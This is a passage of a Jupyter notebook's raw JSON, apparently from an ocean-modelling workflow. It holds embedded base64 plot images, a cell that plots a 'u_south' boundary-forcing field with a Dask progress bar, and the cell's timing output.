BYHJAREREREQfMDkgIiIiIiIATA6IiIiIiOgDJgdERERERASAyQEREREREX3wf0DiYM+jU0dpAAAAAElFTkSuQmCC", "text/plain": [ "<Figure size 900x500 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "with ProgressBar():\n", " %time boundary_forcing.plot(\"u_south\", time=0, layer_contours=True)" ] }, { "cell_type": "code", "execution_count": 11, "id": "f6d52c4b-9c4d-449a-9342-52bcd46a7f4d", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[########################################] | 100% Completed | 3.06 sms\n", "CPU times: user 5min 48s, sys: 340 ms, total: 5min 48s\n", "Wall time: 3.15 s\n" ] }, { "data": { "image/png": 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C1VdfzbPPPss333zDDz/8QEJCArNnz/7N7WJiYiSjKB1+/s8++2zQCHJqamrEbYyJiZE0UZG61j6fj7lz52I2m7nrrrt44oknuPDCCzn//POPeIzc3Fx8Ph87d+5k5MiRknVa731eXh59+vQJlLtcLvLz87ukf+/duzdo1mffvn34fL6g/urz+di7d29QErmKigrq6+sDbY6Ernhe5ehEMjIynYXscyAjEwFTpkxhzZo1LFq0KKAcxMfHM2jQoEA0n7b2xrNnz8ZsNvPEE0/gdrtD9tcaOcZms4WET8zNzSUqKiooXKLRaJQUGC+++GJWrVrFTz/9FLKuvr4ej8cT+ckeBR6Ph1dffTXw2+Vy8eqrr5KQkBBIwHX66adTXl7Op59+GrTd888/j8lkYtq0aYBfKFMqlSH21y+99NJRt+/000/H4/Hw8ssvB8q8Xi/PP/98UL3WkdrDR2YPjyLTHoYPH87w4cN54403+M9//sOll176m/b54L//DQ0NbN26NVBWVlYWEh1n9OjRzJo1K7C0x8RH6li7d+8OimS0ZcsWVqxYEVL3H//4BytXruS1117j8ccfZ9KkSdx8881UV1cf8RjnnnsuCoWCxx57LGTmpfU6z5o1C41Gw7///e+ga//mm2/S0NDAGWecEfG5/RatIUBbae0Lp512GuDvMxB67//xj38AHFWbuuJ5bVXIpd4PMjIyMpEgzxzIyETAlClT+Otf/0pRUVGQEjB16lReffVVsrOzSU9PD5SbzWZefvllrrrqKk444QQuvfRSEhISOHjwIN999x2TJ0/mhRdeYM+ePcycOZOLL76YwYMHo1Kp+PLLL6moqAhyuBw9ejQvv/wy//d//0ffvn1JTExkxowZ3HfffXz99deceeaZgbCJzc3NbNu2jS+++IKCggLi4+O7/Pqkpqby1FNPUVBQQP/+/fn000/ZvHkzr732WiAE5Y033sirr77K3Llz2bBhA9nZ2XzxxResWLGC5557LmCLb7FYuOiii3j++ecRBIHc3Fy+/fbbEHvsSDjrrLOYPHkyf/7znykoKGDw4MH897//DfEhMJvNTJ06laeffhq3201aWho///wz+fn5R3Xcq6++mnvvvRegXSZFAJdeeil/+tOfOO+887jjjjsCIXD79+8v6RDdEa699lr+8Y9/MHv2bK677joqKyt55ZVXGDJ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